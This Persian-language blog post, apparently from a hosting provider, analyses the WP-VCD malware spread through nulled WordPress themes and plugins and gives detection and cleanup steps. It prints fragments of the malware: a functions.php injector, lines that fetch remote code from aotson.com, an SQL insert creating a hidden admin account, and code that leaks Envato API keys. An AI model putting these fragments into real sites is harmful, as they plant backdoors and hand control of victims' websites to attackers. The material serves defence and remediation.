مرکز آموزش اولین دیتا

شیوع بدافزار WP-VCD در سایت‌های وردپرسی

0

از بزرگترین مشکلاتی که کاربران وردپرس با آن مواجه هستند افزونه ها و قالب های نال شده و غیر اورجینال است و از طرفی دیگر به دلیل تحریم ها و افزایش قیمت این افزونه ها بسیاری از افراد از خرید این افزونه ها به صورت اورجینال از سایت اصلی صرف نظر کرده و بی توجه به عواقب آن از سایت های نا معتبر این افزونه ها را به صورت رایگان دانلود و نصب می نمایند. این افزونه ها به این دلیل نا معتبر هستند که از سایت های اصلی هم دانلود نشده اند و ترجمه شده بسیاری از سایت های نامعتبر هستند و به راحتی در اختیار کاربران قرار می گیرد .

شیوع استفاده از این افزونه های نامعتبر باعث به وجود آمدن بدافزار هایی می شود که می تواند سایت وردپرسی شما را با مشکلات زیادی رو به رو کند .

شیوع بدافزار WP-VCD در سایت‌های وردپرسی

از مهم ترنی و پر مخاطره ترین بدافزار های شایع در وب سایت های وردپرسی بدافزار  WP-VCD است . در ابتدا یک سوال به وجود می آید که این بدافزار پر مخاطره از چه طریق می تواند سایت ما را درگیر نماید ؟ این بدافزار مانند بسیاری بدافزار های دیگر از طریق فایل های قالب و افزونه ها به وب سایت ما منتقل می شود . و از اصلی ترین مشکلاتی که می تواند برای وب سایت ما به وجود آورد یوزری است که به عنوان ادمین وب سایت به صورت خودکار ایجاد می کند و کارهای پر مخاطره و دردسر سازی در وب سایت شما به وجود می آورد . از دیگر عوارض بدافزار  WP-VCD می توان به کد هایی اشاره کرد که در هسته اصلی وردپرس ایجاد کرده و در دایرکتوری های دیگر هاست باعث به خطر افتادن ساختار وب سایت می گردد و وب سایت شما را در دست می گیرد . که شامل موارد زیر است.

  1. ایجاد یک یوزربه عنوان ادمین کل در وردپرس  با نام کاربری ۱۰۰۰۱۰۰۱۰
  2. تزریق لینک‌های مخرب در فوتر وردپرس که با استفاده از این لینک‌ها معمولا کارهایی پرمخاطره ای  مثل استفاده از روش‌های کلاه سیاه سئو برای ضربه زدن به وب  سایت شده و از طرفی با نمایش تبلیغات اسپم در سایت قربانی باعث پنالتی شدن سایت در گوگل خواهد شد.
  3. تزریق کدها از طریق فایل functions.php قالب که جزو مهم‌ترین فایل در قالب وردپرس است و با استفاده از اون میشه هر کاری را در سایت انجام داد. کدی که در این فایل تزریق میشه حتی امکان تغییر در محتوای مطالب و به‌روزرسانی نوشته‌ها در وردپرس را هم دارد.
  4. این بدافزار صرفا به همینجا بسنده نکرده و با قرار دادن فایل‌های مخرب دیگه در پوشه wp-includes کارهای خرابکارانه بیشتری را هم روی سایت انجام خواهد داد که در ادامه به معرفی این فایل‌ها می‌پردازم.

نحوه شیوع بدافزار WP-VCD و کارکرد آن روی سایت

در گام ابتدایی این بدافزار قطعه کد زیر در فایل post.php در داخل پوشه wp-includes اضافه می نماید

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
/**  ۲ /**
* Core Post API

در گا بعدی فایل با نام wp-vcd.php به همین دایرکتوری اضافه می گردد به کد گذاری آن به صورت base64 می باشد و با نام $install_code شروع به نصب برخی کد در فایل‌ها خواهد کرد.

$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
   $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

کد بالا ،کد های زیر را به فایل function قالب وردپرس اضافه می نماید .

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
    if (strpos($content, 'WP_V_CD') === false){
        $content = $install_code . $content ;
        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
        touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
    }
    else { $ping = false; }
}

در گام بعدی فایل o.php را فراخوانی می کند و یک فایل متنی با نام class.wp.php را در پوشه  wp-includes قالب قرار خواهد داد .کدهای زیر نمونه‌ای از آن را میبینید.

$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                       @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));

سپس بعد از اضافه شدن  کد های فایل class.wp.php که شامل کدهای زیر هستند با استفاده از زبان php ، کنترل دیتابیس را انجام می دهند و نتیجه اضافه شدن این کد ها همان نام کاربری  ۱۰۰۰۱۰۰۱۰  در پنل وردپرس است که بالا اشاره کردیم و در حقیقت ادمین کل وب سایت است .

$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '$P$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");

این بدافزار در گام بعدی از کلید واژه API Toolkit Envato Market استفاده کرده و با استفاده از آن د ر خواست به اپدیت قالب یا افزونه نمایش داده شده را می دهد .

if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' .  esc_attr( $options['api_key'])) . '<br>';
 echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}

سپس از را دور محتویات فایل codecxc.txt موقتا داخل دایرکتوری php منتقل می نماید . کد های زیر کد هایی هستند که داخل آن قرار دارند .

$tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx");
   $handle = fopen($tmpfname, "w+");
   fwrite($handle, "<?phpn" . $phpCode);

در طرف دیگر کدهای پر مخاطره معمولا در قالب هایی منتقل می گردند که کاربران زیادی از آن ها استفاده می کند در واقع قالب های محبوب کاربران وردپرسی هستند . کد های زیر از طریق بد افزار wp-vcd وارد این قالب ها  می شوند .

//$exec=exec('mv /var/sites/e/exchange.stirlingworx.tech/public_html/wp-content/themes/Gridlove/gridlove/functions.php');
//file_put_contents('/home/hoefsmederijvanr/public_html/wp-content/themes/betheme/functions.php', $file);

بدافزار wp-vcd مجددا با استفاده از تزریق کدهایی در فانکشن قالب این بار قصد تخریب دیتابیس را دارد و این جا بد افزار wp-vcd تمامی لینک ها و محتوای دیتابیس را تغییر خواهد داد و در این جا کد های مخرب را آورده ام

این کد ها برای تغییر جدول post که مربوط به نوشته‌ها هست استفاده می شود.

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

دراین جا یک سری کد های html را میبینیم که با استفاده از آن ها فایل با نام code1.php  را به فایل function قالب اضافه می نماید و در گام بدی شروع به افزودن فایل های دیگری با نام wp-tmp.php در پوشه wp-includes  می کند  که کد های  زیر در این فایل قرار دارند.

if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if($tmpcontent = @file_get_contents("http://www.aotson.com/code1.php?i=".$path))

در انتها بعد از اجرای این کد ها هم کدهای html زیر به سایت اضافه خواهند شد .

<style>.crdtsp{position:absolute;left:-1000px;}</style>
<div class="crdtsp"> 
<a href="https://www.downloadfreethemes.download/">downloadfreethemes</a></div>

برای مطمعن شدن از تغیراتی که در بالا آورده ام یک خط از کد را در سرچ گوگل خود وراد کنید . می بینید که شیوع این بدافزار در خیلی از سایت های وردپرسی رایج می باشد .

شیوع بدافزار WP-VCD در سایت‌های وردپرسی

این جا ما بخشی از مخاطره های این بدافزار را اورده ایم ولی حقیقت این مسئه فراگیرتر از آن است که کار به همین جا ختم شود .این بدافزار با تزریق کد هایی در بخش های دیگر وب سایت سعی در تخریب انواع فایل ها و تخریب وب سایت شما می نماید .برای حصول اطمینان از شیوع یافتن این بدافزار ابتدا پوشه wp-includes  وردپرس را بررسی کرده و چک کنید کدام یک از فایل های زیر درآن قرار دارد .

class.wp.php
wp-cd.php
wp-vcd.php
wp-tmp.php
wp-feed.php

در صورت موجود بودن هر یک از فایل های زیر در پوشه wp-includes باید اطمینان حاصل کنید که این بدافزار در وب سایت شما شیوع پیدا کرده و شما هر چه سریع تر باید از تخریب های هر چه بیشتر این بدافزار جلوگیری کنید و وب سایت خودتان را از این بدافزار پر مخاطره نجات دهید .

چطور از شیوع این بدافزار در سایت خود جلوگیری کنیم؟

این بدافزار کمتر از چند دقیقه شیوع پیدا میکند ولی شما اگر زود متوجه شیوع این بدافزار شوید به راحتی میتوانید از تخریب های آن جلوگیری کنید . یکی از بهترین راهکارهایی که برای جلوگیری از شیوع این بدافزار وجود دارد این است که در ابتدا اگر از قالب یا افزونه ای استفاده می کنید که از اورجینال بودن آن مطمعن نیستید با نسخه اورجینال آن جایگزین نمایید .با این گام در حفظ کپی رایت نیز گام موثری برداشته اید و همچینین امنیت وردپرس شما نیز تامین میگردد

در گام بعدی باید از فایروال هیا هاست خود برای نظارت روی وب سایت استفاده نمایید تا هر چه زودتر بتوانید از شیوع این بدافزار جلوگیری نمایید . همچنین می توانید از افزونه  WordFence Security برای مطمعن شدن از اضافه شدن فایل های غیر از فایل های اصلی سایت استفاده نمایید .

سایت من به بدافزار wp-vcd آلوده شده، چیکار کنم؟

بعد از مطمعن شدن از شیوع این بدافزار در وب سایتتان باید به قسمت افزونه های نصب شده در پیشخوان پنل وردپرس وب سایت رجوع کنید و تمامی افزونه هایی که از مخزن وردپرس دریافت نکرده اید را غیر فعال نماید . در گام بعدی در قسمت نمایش پنل وردپرس یکی از قالب های پیش فرض وردپرس را به عنوان پوسته وب سایتتان انتخاب نمایید . سپس در بخش کاربران اگر کاربری با نام  ۱۰۰۰۱۰۰۱۰  وجود داشت را حذف نمایید .

در گام بدی با استفاده از اسکن امنیتی موجود در هاست تمام وب سایت را اسکن نمایید و بررسی کنید مورد مشکوکی در ههاست وجو نداشته باشد .فقط توجه داشته باشید قبل از هر تغییری در وب سایت از هاست بک آپ بگیرد .

در مرحله بعدی به آدرس fa.wordpress.org رجوع کنید و آخرین نسخه وردپرس را از این آدرس دانلود کرده و  از داخل فایل zip دانلود شده پوشه wp-content و فایل wp-config.php را حذف کنید. حالا فایل زیپ را در مسیری که وردپرس را نصب کردید آپلود کرده و کلیه محتویات را به غیر از دو مورد ذکر شده جایگزین کنید تا فایل‌های مخرب از پوشه wp-includes حذف گردند

در گام بعدی  به مسیر تنظیمات> پیوندهای یکتا در پیشخوان وردپرس رجوع کنید و یک بار روی دکمه ذخیره تغییرات کلیک کنید تا فایل htaccess. وردپرس هم آپدیت بشه تا اگر احیانا از طریق این فایل هم کاری صورت گرفته اصلاح شود. علاوه بر این کلیه پوشه‌های موجود در پوشه wp-contnet را هم بررسی کنید و هر فایل مشکوکی را که بررسی کرده و با نسخه اصلی جایگزین کنید.

حالا به phpmyadmin مراجعه کرده و با بررسی کل دیتابیس باید به دنبال این باشید که آیا تغییراتی در دیتابیس ایجاد شده است یا خیر. برای این موضوع باید از یک فرد متخصص کمک بگیرید تا دیتابیس را به درستی بررسی کنه. بیشترین سهم تغییرات در دیتابیس وردپرس توسط این بدافزار مربوط به جدول wp_posts است که نوشته‌ها در آن قرار دارند و با هدف تغییر در نوشته و وارد کردن لینک و محتوای اسپم مورد استفاده قرار می‌گیرد.

ارسال یک پاسخ

آدرس ایمیل شما منتشر نخواهد شد .